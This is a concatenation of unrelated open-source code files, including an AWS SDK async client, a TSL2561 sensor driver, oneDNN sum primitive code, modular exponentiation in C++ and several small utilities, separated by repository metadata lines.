createExperimentTemplateAsync(CreateExperimentTemplateRequest request) { return createExperimentTemplateAsync(request, null); } @Override public java.util.concurrent.Future<CreateExperimentTemplateResult> createExperimentTemplateAsync(final CreateExperimentTemplateRequest request, final com.amazonaws.handlers.AsyncHandler<CreateExperimentTemplateRequest, CreateExperimentTemplateResult> asyncHandler) { final CreateExperimentTemplateRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<CreateExperimentTemplateResult>() { @Override public CreateExperimentTemplateResult call() throws Exception { CreateExperimentTemplateResult result = null; try { result = executeCreateExperimentTemplate(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<DeleteExperimentTemplateResult> deleteExperimentTemplateAsync(DeleteExperimentTemplateRequest request) { return deleteExperimentTemplateAsync(request, null); } @Override public java.util.concurrent.Future<DeleteExperimentTemplateResult> deleteExperimentTemplateAsync(final DeleteExperimentTemplateRequest request, final com.amazonaws.handlers.AsyncHandler<DeleteExperimentTemplateRequest, DeleteExperimentTemplateResult> asyncHandler) { final DeleteExperimentTemplateRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<DeleteExperimentTemplateResult>() { @Override public DeleteExperimentTemplateResult call() throws Exception { DeleteExperimentTemplateResult result = null; try { result = executeDeleteExperimentTemplate(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<GetActionResult> getActionAsync(GetActionRequest request) { return getActionAsync(request, null); } @Override public java.util.concurrent.Future<GetActionResult> getActionAsync(final GetActionRequest request, final com.amazonaws.handlers.AsyncHandler<GetActionRequest, GetActionResult> asyncHandler) { final GetActionRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<GetActionResult>() { @Override public GetActionResult call() throws Exception { GetActionResult result = null; try { result = executeGetAction(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<GetExperimentResult> getExperimentAsync(GetExperimentRequest request) { return getExperimentAsync(request, null); } @Override public java.util.concurrent.Future<GetExperimentResult> getExperimentAsync(final GetExperimentRequest request, final com.amazonaws.handlers.AsyncHandler<GetExperimentRequest, GetExperimentResult> asyncHandler) { final GetExperimentRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<GetExperimentResult>() { @Override public GetExperimentResult call() throws Exception { GetExperimentResult result = null; try { result = executeGetExperiment(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<GetExperimentTemplateResult> getExperimentTemplateAsync(GetExperimentTemplateRequest request) { return getExperimentTemplateAsync(request, null); } @Override public java.util.concurrent.Future<GetExperimentTemplateResult> getExperimentTemplateAsync(final GetExperimentTemplateRequest request, final com.amazonaws.handlers.AsyncHandler<GetExperimentTemplateRequest, GetExperimentTemplateResult> asyncHandler) { final GetExperimentTemplateRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<GetExperimentTemplateResult>() { @Override public GetExperimentTemplateResult call() throws Exception { GetExperimentTemplateResult result = null; try { result = executeGetExperimentTemplate(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<ListActionsResult> listActionsAsync(ListActionsRequest request) { return listActionsAsync(request, null); } @Override public java.util.concurrent.Future<ListActionsResult> listActionsAsync(final ListActionsRequest request, final com.amazonaws.handlers.AsyncHandler<ListActionsRequest, ListActionsResult> asyncHandler) { final ListActionsRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<ListActionsResult>() { @Override public ListActionsResult call() throws Exception { ListActionsResult result = null; try { result = executeListActions(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<ListExperimentTemplatesResult> listExperimentTemplatesAsync(ListExperimentTemplatesRequest request) { return listExperimentTemplatesAsync(request, null); } @Override public java.util.concurrent.Future<ListExperimentTemplatesResult> listExperimentTemplatesAsync(final ListExperimentTemplatesRequest request, final com.amazonaws.handlers.AsyncHandler<ListExperimentTemplatesRequest, ListExperimentTemplatesResult> asyncHandler) { final ListExperimentTemplatesRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<ListExperimentTemplatesResult>() { @Override public ListExperimentTemplatesResult call() throws Exception { ListExperimentTemplatesResult result = null; try { result = executeListExperimentTemplates(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<ListExperimentsResult> listExperimentsAsync(ListExperimentsRequest request) { return listExperimentsAsync(request, null); } @Override public java.util.concurrent.Future<ListExperimentsResult> listExperimentsAsync(final ListExperimentsRequest request, final com.amazonaws.handlers.AsyncHandler<ListExperimentsRequest, ListExperimentsResult> asyncHandler) { final ListExperimentsRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<ListExperimentsResult>() { @Override public ListExperimentsResult call() throws Exception { ListExperimentsResult result = null; try { result = executeListExperiments(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<ListTagsForResourceResult> listTagsForResourceAsync(ListTagsForResourceRequest request) { return listTagsForResourceAsync(request, null); } @Override public java.util.concurrent.Future<ListTagsForResourceResult> listTagsForResourceAsync(final ListTagsForResourceRequest request, final com.amazonaws.handlers.AsyncHandler<ListTagsForResourceRequest, ListTagsForResourceResult> asyncHandler) { final ListTagsForResourceRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<ListTagsForResourceResult>() { @Override public ListTagsForResourceResult call() throws Exception { ListTagsForResourceResult result = null; try { result = executeListTagsForResource(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<StartExperimentResult> startExperimentAsync(StartExperimentRequest request) { return startExperimentAsync(request, null); } @Override public java.util.concurrent.Future<StartExperimentResult> startExperimentAsync(final StartExperimentRequest request, final com.amazonaws.handlers.AsyncHandler<StartExperimentRequest, StartExperimentResult> asyncHandler) { final StartExperimentRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<StartExperimentResult>() { @Override public StartExperimentResult call() throws Exception { StartExperimentResult result = null; try { result = executeStartExperiment(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<StopExperimentResult> stopExperimentAsync(StopExperimentRequest request) { return stopExperimentAsync(request, null); } @Override public java.util.concurrent.Future<StopExperimentResult> stopExperimentAsync(final StopExperimentRequest request, final com.amazonaws.handlers.AsyncHandler<StopExperimentRequest, StopExperimentResult> asyncHandler) { final StopExperimentRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<StopExperimentResult>() { @Override public StopExperimentResult call() throws Exception { StopExperimentResult result = null; try { result = executeStopExperiment(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<TagResourceResult> tagResourceAsync(TagResourceRequest request) { return tagResourceAsync(request, null); } @Override public java.util.concurrent.Future<TagResourceResult> tagResourceAsync(final TagResourceRequest request, final com.amazonaws.handlers.AsyncHandler<TagResourceRequest, TagResourceResult> asyncHandler) { final TagResourceRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<TagResourceResult>() { @Override public TagResourceResult call() throws Exception { TagResourceResult result = null; try { result = executeTagResource(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<UntagResourceResult> untagResourceAsync(UntagResourceRequest request) { return untagResourceAsync(request, null); } @Override public java.util.concurrent.Future<UntagResourceResult> untagResourceAsync(final UntagResourceRequest request, final com.amazonaws.handlers.AsyncHandler<UntagResourceRequest, UntagResourceResult> asyncHandler) { final UntagResourceRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<UntagResourceResult>() { @Override public UntagResourceResult call() throws Exception { UntagResourceResult result = null; try { result = executeUntagResource(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } @Override public java.util.concurrent.Future<UpdateExperimentTemplateResult> updateExperimentTemplateAsync(UpdateExperimentTemplateRequest request) { return updateExperimentTemplateAsync(request, null); } @Override public java.util.concurrent.Future<UpdateExperimentTemplateResult> updateExperimentTemplateAsync(final UpdateExperimentTemplateRequest request, final com.amazonaws.handlers.AsyncHandler<UpdateExperimentTemplateRequest, UpdateExperimentTemplateResult> asyncHandler) { final UpdateExperimentTemplateRequest finalRequest = beforeClientExecution(request); return executorService.submit(new java.util.concurrent.Callable<UpdateExperimentTemplateResult>() { @Override public UpdateExperimentTemplateResult call() throws Exception { UpdateExperimentTemplateResult result = null; try { result = executeUpdateExperimentTemplate(finalRequest); } catch (Exception ex) { if (asyncHandler != null) { asyncHandler.onError(ex); } throw ex; } if (asyncHandler != null) { asyncHandler.onSuccess(finalRequest, result); } return result; } }); } /** * Shuts down the client, releasing all managed resources. This includes forcibly terminating all pending * asynchronous service calls. Clients who wish to give pending asynchronous service calls time to complete should * call {@code getExecutorService().shutdown()} followed by {@code getExecutorService().awaitTermination()} prior to * calling this method. */ @Override public void shutdown() { super.shutdown(); executorService.shutdownNow(); } }
9,007
368
<reponame>NemProject/nem.core package org.nem.core.utils; import org.hamcrest.MatcherAssert; import org.hamcrest.core.IsEqual; import org.junit.*; public class StringEncoderTest { private static final byte[] ENCODED_SIGMA_BYTES = new byte[] { 0x53, 0x69, 0x67, 0x6D, 0x61 }; private static final byte[] ENCODED_CURRENCY_SYMBOLS_BYTES = new byte[] { 0x24, (byte)0xC2, (byte)0xA2, (byte)0xE2, (byte)0x82, (byte)0xAC }; @Test public void stringCanBeConvertedToByteArray() { // Assert: MatcherAssert.assertThat(StringEncoder.getBytes("Sigma"), IsEqual.equalTo(ENCODED_SIGMA_BYTES)); MatcherAssert.assertThat(StringEncoder.getBytes("$¢€"), IsEqual.equalTo(ENCODED_CURRENCY_SYMBOLS_BYTES)); } @Test public void byteArrayCanBeConvertedToString() { // Assert: MatcherAssert.assertThat(StringEncoder.getString(ENCODED_SIGMA_BYTES), IsEqual.equalTo("Sigma")); MatcherAssert.assertThat(StringEncoder.getString(ENCODED_CURRENCY_SYMBOLS_BYTES), IsEqual.equalTo("$¢€")); } }
430
706
/* * Copyright 2019 Google LLC. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // Implements various modular exponentiation methods to be used for modular // exponentiation of fixed bases. // // A note on sophisticated methods: Although there are more efficient methods // besides what is implemented here, the storage overhead and also limitation // of BigNum representation in C++ might not make them quite as efficient as // they are claimed to be. One such example is Lim-Lee method, it is twice as // fast as the simple modular exponentiation in Python, the C++ implementation // is actually slower on all possible parameters due to the overhead of // transposing the two dimensional bit representation of the exponent. #include "private_join_and_compute/crypto/fixed_base_exp.h" #include <vector> #define GLOG_NO_ABBREVIATED_SEVERITIES #include "absl/flags/flag.h" #include "glog/logging.h" #include "private_join_and_compute/crypto/big_num.h" #include "private_join_and_compute/crypto/context.h" #include "private_join_and_compute/crypto/mont_mul.h" #include "private_join_and_compute/util/status.inc" ABSL_FLAG(bool, two_k_ary_exp, false, "Whether to use 2^k-ary fixed based exponentiation."); namespace private_join_and_compute { namespace internal { class FixedBaseExpImplBase { public: FixedBaseExpImplBase(const BigNum& fixed_base, const BigNum& modulus) : fixed_base_(fixed_base), modulus_(modulus) {} // FixedBaseExpImplBase is neither copyable nor movable. FixedBaseExpImplBase(const FixedBaseExpImplBase&) = delete; FixedBaseExpImplBase& operator=(const FixedBaseExpImplBase&) = delete; virtual ~FixedBaseExpImplBase() = default; virtual BigNum ModExp(const BigNum& exp) const = 0; // Most of the fixed base exponentiators uses precomputed tables for faster // exponentiation so they need to know the fixed base and the modulus during // the object construction. const BigNum& GetFixedBase() const { return fixed_base_; } const BigNum& GetModulus() const { return modulus_; } private: BigNum fixed_base_; BigNum modulus_; }; class SimpleBaseExpImpl : public FixedBaseExpImplBase { public: SimpleBaseExpImpl(const BigNum& fixed_base, const BigNum& modulus) : FixedBaseExpImplBase(fixed_base, modulus) {} BigNum ModExp(const BigNum& exp) const final { return GetFixedBase().ModExp(exp, GetModulus()); } }; // Uses the 2^k-ary technique proposed in // <NAME>. "On addition chains." Bulletin of the American Mathematical // Society 45.10 (1939): 736-739. // // This modular exponentiation is in average 20% faster than SimpleBaseExpImpl. class TwoKAryFixedBaseExpImpl : public FixedBaseExpImplBase { public: TwoKAryFixedBaseExpImpl(Context* ctx, const BigNum& fixed_base, const BigNum& modulus) : FixedBaseExpImplBase(fixed_base, modulus), ctx_(ctx), mont_ctx_(new MontContext(ctx, modulus)), cache_() { cache_.push_back(mont_ctx_->CreateMontBigNum(ctx_->CreateBigNum(1))); MontBigNum g = mont_ctx_->CreateMontBigNum(GetFixedBase()); cache_.push_back(g); int16_t max_exp = 256; for (int i = 0; i < max_exp; ++i) { cache_.push_back(cache_.back() * g); } } // Returns the base^exp mod modulus // Implements the 2^k-ary method, a generalization of the "square and // multiply" exponentiation method. Since chars are iterated in the byte // string of exp, the most straight k to use is 8. Other k values can also be // used but this would complicate the exp bits iteration which adds a // substantial overhead making the exponentiation slower than using // SimpleBaseExpImpl. For instance, reading two bytes at a time and converting // it to a short by shifting and adding is not faster than using a single // byte. BigNum ModExp(const BigNum& exp) const final { MontBigNum z = cache_[0]; // Copying 1 is faster than creating it. std::string values = exp.ToBytes(); for (auto it = values.cbegin(); it != values.cend(); ++it) { for (int j = 0; j < 8; ++j) { z *= z; } z *= cache_[static_cast<uint8_t>(*it)]; } return z.ToBigNum(); } private: Context* ctx_; std::unique_ptr<MontContext> mont_ctx_; std::vector<MontBigNum> cache_; }; } // namespace internal FixedBaseExp::FixedBaseExp(internal::FixedBaseExpImplBase* impl) : impl_(std::unique_ptr<internal::FixedBaseExpImplBase>(impl)) {} FixedBaseExp::~FixedBaseExp() = default; StatusOr<BigNum> FixedBaseExp::ModExp(const BigNum& exp) const { if (!exp.IsNonNegative()) { return InvalidArgumentError( "FixedBaseExp::ModExp : Negative exponents not supported."); } return impl_->ModExp(exp); } std::unique_ptr<FixedBaseExp> FixedBaseExp::GetFixedBaseExp( Context* ctx, const BigNum& fixed_base, const BigNum& modulus) { if (absl::GetFlag(FLAGS_two_k_ary_exp)) { return std::unique_ptr<FixedBaseExp>(new FixedBaseExp( new internal::TwoKAryFixedBaseExpImpl(ctx, fixed_base, modulus))); } else { return std::unique_ptr<FixedBaseExp>( new FixedBaseExp(new internal::SimpleBaseExpImpl(fixed_base, modulus))); } } } // namespace private_join_and_compute
1,869
9,724
<reponame>rajkumarananthu/emscripten<gh_stars>1000+ uintptr_t __get_tp(void); #define TP_ADJ(p) (p) #define CANCEL_REG_IP 16
62
335
<gh_stars>100-1000 { "word": "Generous", "definitions": [ "Showing a readiness to give more of something, especially money, than is strictly necessary or expected.", "Showing kindness towards others.", "(of a thing) larger or more plentiful than is usual or necessary." ], "parts-of-speech": "Adjective" }
120
965
// task-canceled.cpp // compile with: /EHsc #include <ppltasks.h> #include <iostream> using namespace concurrency; using namespace std; int wmain() { auto t1 = create_task([]() -> int { // Cancel the task. cancel_current_task(); }); // Create a continuation that retrieves the value from the previous. auto t2 = t1.then([](task<int> t) { try { int n = t.get(); wcout << L"The previous task returned " << n << L'.' << endl; } catch (const task_canceled& e) { wcout << L"The previous task was canceled." << endl; } }); // Wait for all tasks to complete. t2.wait(); } /* Output: The previous task was canceled. */
337
619
/* * Author: <NAME> <<EMAIL>>, * <NAME> <<EMAIL>> * Copyright (c) 2014 Intel Corporation. * * LIGHT-TO-DIGITAL CONVERTER [TAOS-TSL2561] * Inspiration and lux calculation formulas from data sheet * URL: http://www.adafruit.com/datasheets/TSL2561.pdf * * This program and the accompanying materials are made available under the * terms of the The MIT License which is available at * https://opensource.org/licenses/MIT. * * SPDX-License-Identifier: MIT */ #include "tsl2561.h" #include "upm_utilities.h" // forward declaration upm_result_t tsl2561_compute_lux(const tsl2561_context dev, int *int_data); tsl2561_context tsl2561_init(int bus, uint8_t dev_address, uint8_t gain, uint8_t integration_time){ // make sure MRAA is initialized int mraa_rv; if ((mraa_rv = mraa_init()) != MRAA_SUCCESS) { printf("%s: mraa_init() failed (%d).\n", __FUNCTION__, mraa_rv); return NULL; } tsl2561_context dev = (tsl2561_context)malloc(sizeof(struct _tsl2561_context)); if (!dev) return NULL; dev->bus = bus; dev->address = dev_address; dev->gain = gain; dev->integration_time = integration_time; dev->i2c = mraa_i2c_init(dev->bus); if(dev->i2c == NULL){ free(dev); return NULL; } if (mraa_i2c_address(dev->i2c, dev->address) != MRAA_SUCCESS) { mraa_i2c_stop(dev->i2c); free(dev); return NULL; } // POWER UP. if(mraa_i2c_write_byte_data(dev->i2c, CONTROL_POWERON, REGISTER_Control) != MRAA_SUCCESS){ mraa_i2c_stop(dev->i2c); free(dev); return NULL; } // Power on Settling time upm_delay_us(1000); // Gain & Integration time. if(mraa_i2c_write_byte_data(dev->i2c, (dev->gain | dev->integration_time), REGISTER_Timing) != MRAA_SUCCESS){ mraa_i2c_stop(dev->i2c); free(dev); return NULL; } // Set interrupt threshold to default. if(mraa_i2c_write_byte_data(dev->i2c, 0x00, REGISTER_Interrupt) != MRAA_SUCCESS){ mraa_i2c_stop(dev->i2c); free(dev); return NULL; } return dev; } void tsl2561_close(tsl2561_context dev){ if (mraa_i2c_write_byte_data(dev->i2c, CONTROL_POWEROFF, REGISTER_Control) != MRAA_SUCCESS){ printf("Unable turn off device\n"); } mraa_i2c_stop(dev->i2c); free(dev); } upm_result_t tsl2561_get_lux(const tsl2561_context dev, float* lux){ int lux_val=0; tsl2561_compute_lux(dev, &lux_val); *lux = (float) lux_val; return UPM_SUCCESS; } upm_result_t tsl2561_i2c_write_reg(tsl2561_context dev, uint8_t reg, uint8_t value){ // Write register to I2C if(mraa_i2c_write_byte(dev->i2c, reg) != MRAA_SUCCESS){ return UPM_ERROR_OPERATION_FAILED; } // Write value to I2C if(mraa_i2c_write_byte(dev->i2c, value) != MRAA_SUCCESS){ return UPM_ERROR_OPERATION_FAILED; } upm_delay_ms(100); return UPM_SUCCESS; } upm_result_t tsl2561_i2c_read_reg(tsl2561_context dev, uint8_t reg, uint8_t* data){ // Send address of register to be read. if(mraa_i2c_write_byte(dev->i2c, reg) != MRAA_SUCCESS){ return UPM_ERROR_OPERATION_FAILED; } // Read byte. *data = mraa_i2c_read_byte(dev->i2c); //upm_delay(1); return UPM_SUCCESS; } upm_result_t tsl2561_compute_lux(const tsl2561_context dev, int *int_data) { int lux; uint16_t raw_lux_ch_0; uint16_t raw_lux_ch_1; uint8_t ch0_low, ch0_high, ch1_low, ch1_high; if (tsl2561_i2c_read_reg(dev, REGISTER_Channal0L, &ch0_low) != UPM_SUCCESS){ return UPM_ERROR_OPERATION_FAILED; } if(tsl2561_i2c_read_reg(dev, REGISTER_Channal0H, &ch0_high) != UPM_SUCCESS){ return UPM_ERROR_OPERATION_FAILED; } raw_lux_ch_0 = ch0_high*256 + ch0_low; if(tsl2561_i2c_read_reg(dev, REGISTER_Channal1L, &ch1_low) != UPM_SUCCESS){ return UPM_ERROR_OPERATION_FAILED; } if(tsl2561_i2c_read_reg(dev, REGISTER_Channal1H, &ch1_high) != UPM_SUCCESS){ return UPM_ERROR_OPERATION_FAILED; } raw_lux_ch_1 = ch1_high*256 + ch1_low; uint64_t scale = 0; switch(dev->integration_time){ case 0: // 13.7 msec scale = LUX_CHSCALE_TINT0; break; case 1: // 101 msec scale = LUX_CHSCALE_TINT1; break; case 2: // assume no scaling scale = (1 << LUX_CHSCALE); break; } // scale if gain is NOT 16X if(!dev->gain) scale = scale << 4; uint64_t channel1 = 0; uint64_t channel0 = 0; // scale the channel values channel0 = (raw_lux_ch_0 * scale) >> LUX_CHSCALE; channel1 = (raw_lux_ch_1 * scale) >> LUX_CHSCALE; // find the ratio of the channel values (Channel1/Channel0) // protect against divide by zero uint64_t ratio_1 = 0; if (channel0 != 0) ratio_1 = (channel1 << (LUX_RATIOSCALE+1)) / channel0; // round the ratio value int64_t ratio = (ratio_1 + 1) >> 1; unsigned int b = 0, m = 0; // CS package // Check if ratio <= eachBreak ? if ((ratio >= 0) && (ratio <= LUX_K1C)){ b=LUX_B1C; m=LUX_M1C; } else if (ratio <= LUX_K2C){ b=LUX_B2C; m=LUX_M2C; } else if (ratio <= LUX_K3C){ b=LUX_B3C; m=LUX_M3C; } else if (ratio <= LUX_K4C){ b=LUX_B4C; m=LUX_M4C; } else if (ratio <= LUX_K5C){ b=LUX_B5C; m=LUX_M5C; } else if (ratio <= LUX_K6C){ b=LUX_B6C; m=LUX_M6C; } else if (ratio <= LUX_K7C){ b=LUX_B7C; m=LUX_M7C; } else if (ratio > LUX_K8C){ b=LUX_B8C; m=LUX_M8C; } int64_t temp_lux = 0; temp_lux = ((channel0 * b) - (channel1 * m)); // do not allow negative lux value if (temp_lux < 0) temp_lux = 0; // round lsb (2^(LUX_SCALE-1)) temp_lux += (1 << (LUX_SCALE-1)); // strip off fractional portion lux = temp_lux >> LUX_SCALE; *int_data = lux; return UPM_SUCCESS; }
3,175
1,305
/* * Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved. * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms. * * * * * * * * * * * * * * * * * * * * */ package com.sun.corba.se.impl.copyobject ; import com.sun.corba.se.spi.copyobject.ObjectCopier ; public class ReferenceObjectCopierImpl implements ObjectCopier { public Object copy( Object obj ) { return obj ; } }
174
1,327
<filename>src/common/sum.cpp /******************************************************************************* * Copyright 2018-2021 Intel Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ #include <assert.h> #include "oneapi/dnnl/dnnl.h" #include "c_types_map.hpp" #include "engine.hpp" #include "impl_list_item.hpp" #include "primitive_cache.hpp" #include "primitive_desc.hpp" #include "primitive_hashing.hpp" #include "type_helpers.hpp" #include "utils.hpp" #include "sum_pd.hpp" using namespace dnnl::impl; using namespace dnnl::impl::utils; using namespace dnnl::impl::status; namespace dnnl { namespace impl { status_t sum_primitive_desc_create(primitive_desc_iface_t **sum_pd_iface, const memory_desc_t *dst_md, int n, const float *scales, const memory_desc_t *src_mds, const primitive_attr_t *attr, engine_t *engine) { bool args_ok = !any_null(sum_pd_iface, src_mds, scales) && n > 0; if (!args_ok) return invalid_arguments; if (attr == nullptr) attr = &default_attr(); const int ndims = src_mds[0].ndims; const dims_t &dims = src_mds[0].dims; if (memory_desc_wrapper(src_mds[0]).has_runtime_dims_or_strides()) return unimplemented; if (memory_desc_wrapper(src_mds[0]).format_any()) return invalid_arguments; for (int i = 1; i < n; ++i) { if (src_mds[i].ndims != ndims || memory_desc_wrapper(src_mds[i]).format_any()) return invalid_arguments; if (memory_desc_wrapper(src_mds[i]).has_runtime_dims_or_strides()) return unimplemented; for (int d = 0; d < ndims; ++d) { if (src_mds[i].dims[d] != dims[d]) return invalid_arguments; } } memory_desc_t dummy_dst_md; if (dst_md) { if (dst_md->ndims != ndims) return invalid_arguments; if (memory_desc_wrapper(dst_md).has_runtime_dims_or_strides()) return unimplemented; for (int d = 0; d < ndims; ++d) { if (dst_md->dims[d] != dims[d]) return invalid_arguments; } } else { dummy_dst_md = src_mds[0]; dummy_dst_md.format_kind = format_kind::any; dst_md = &dummy_dst_md; } dnnl_sum_desc_t desc = {primitive_kind::sum, dst_md, n, scales, src_mds}; primitive_hashing::key_t key( engine, reinterpret_cast<op_desc_t *>(&desc), attr, 0, {}); auto pd = primitive_cache().get_pd(key); if (pd) { return safe_ptr_assign( *sum_pd_iface, new primitive_desc_iface_t(pd, engine)); } for (auto s = engine->get_sum_implementation_list(); *s; ++s) { sum_pd_t *sum_pd = nullptr; if ((*s)(&sum_pd, engine, attr, dst_md, n, scales, src_mds) == success) { pd.reset(sum_pd); CHECK(safe_ptr_assign( *sum_pd_iface, new primitive_desc_iface_t(pd, engine))); return status::success; } } return unimplemented; } } // namespace impl } // namespace dnnl status_t dnnl_sum_primitive_desc_create(primitive_desc_iface_t **sum_pd_iface, const memory_desc_t *dst_md, int n, const float *scales, const memory_desc_t *src_mds, const primitive_attr_t *attr, engine_t *engine) { return sum_primitive_desc_create( sum_pd_iface, dst_md, n, scales, src_mds, attr, engine); }
1,697
511
<reponame>ziyik/TizenRT-1 /****************************************************************************** * Copyright (c) 2013-2016 Realtek Semiconductor Corp. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ******************************************************************************/ #include "osdep_service.h" #include "device_lock.h" #define DEVICE_MUTEX_IS_INIT(device) (mutex_init & (1 << device)) #define DEVICE_MUTEX_SET_INIT(device) (mutex_init |= (1 << device)) #define DEVICE_MUTEX_CLR_INIT(device) (mutex_init &= (~(1 << device))) static u32 mutex_init = 0; static _mutex device_mutex[RT_DEV_LOCK_MAX]; static void device_mutex_init(RT_DEV_LOCK_E device) { if (!DEVICE_MUTEX_IS_INIT(device)) { _lock lock; _irqL irqL; rtw_enter_critical(&lock, &irqL); if (!DEVICE_MUTEX_IS_INIT(device)) { rtw_mutex_init(&device_mutex[device]); DEVICE_MUTEX_SET_INIT(device); } rtw_exit_critical(&lock, &irqL); } } void device_mutex_free(RT_DEV_LOCK_E device) { if (DEVICE_MUTEX_IS_INIT(device)) { _lock lock; _irqL irqL; rtw_enter_critical(&lock, &irqL); if (DEVICE_MUTEX_IS_INIT(device)) { rtw_mutex_free(&device_mutex[device]); DEVICE_MUTEX_CLR_INIT(device); } rtw_exit_critical(&lock, &irqL); } } void device_mutex_lock(RT_DEV_LOCK_E device) { device_mutex_init(device); while (rtw_mutex_get_timeout(&device_mutex[device], 10000) < 0) printf("device lock timeout: %d\n", (int)device); } void device_mutex_unlock(RT_DEV_LOCK_E device) { device_mutex_init(device); rtw_mutex_put(&device_mutex[device]); }
775
301
<filename>resource/IPCA/samples/ElevatorClientUWP/Util.cpp /* ***************************************************************** * * Copyright 2017 Microsoft * * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ******************************************************************/ #include "pch.h" #include "Util.h" using namespace ElevatorClientUWP; using namespace Platform; using namespace Windows::UI::Core; using namespace Windows::UI::Popups; String^ Util::ConvertStrtoPlatformStr(PCSTR str) { String^ wstrRet = nullptr; PWSTR wstr = nullptr; int wstrLength = MultiByteToWideChar( CP_UTF8, MB_ERR_INVALID_CHARS, str, -1, nullptr, 0); if (wstrLength == 0) { goto exit; } // wstrLength includes null char wstr = new WCHAR[wstrLength]; if (wstr == nullptr) { goto exit; } int retLen = MultiByteToWideChar( CP_UTF8, 0, str, -1, wstr, wstrLength); if (retLen != wstrLength) { goto exit; } wstrRet = ref new String(wstr); exit: if (wstr != nullptr) { delete[] wstr; } return wstrRet; } // This function converts a wide char string to a standard char string. std::string Util::ConvertWStrtoStr(PCWSTR wstr) { std::string strRet; char* str = nullptr; int strLength = WideCharToMultiByte( CP_UTF8, WC_ERR_INVALID_CHARS, wstr, -1, nullptr, 0, nullptr, nullptr); if (strLength == 0) { goto exit; } // strLength includes null char str = new char[strLength]; if (str == nullptr) { 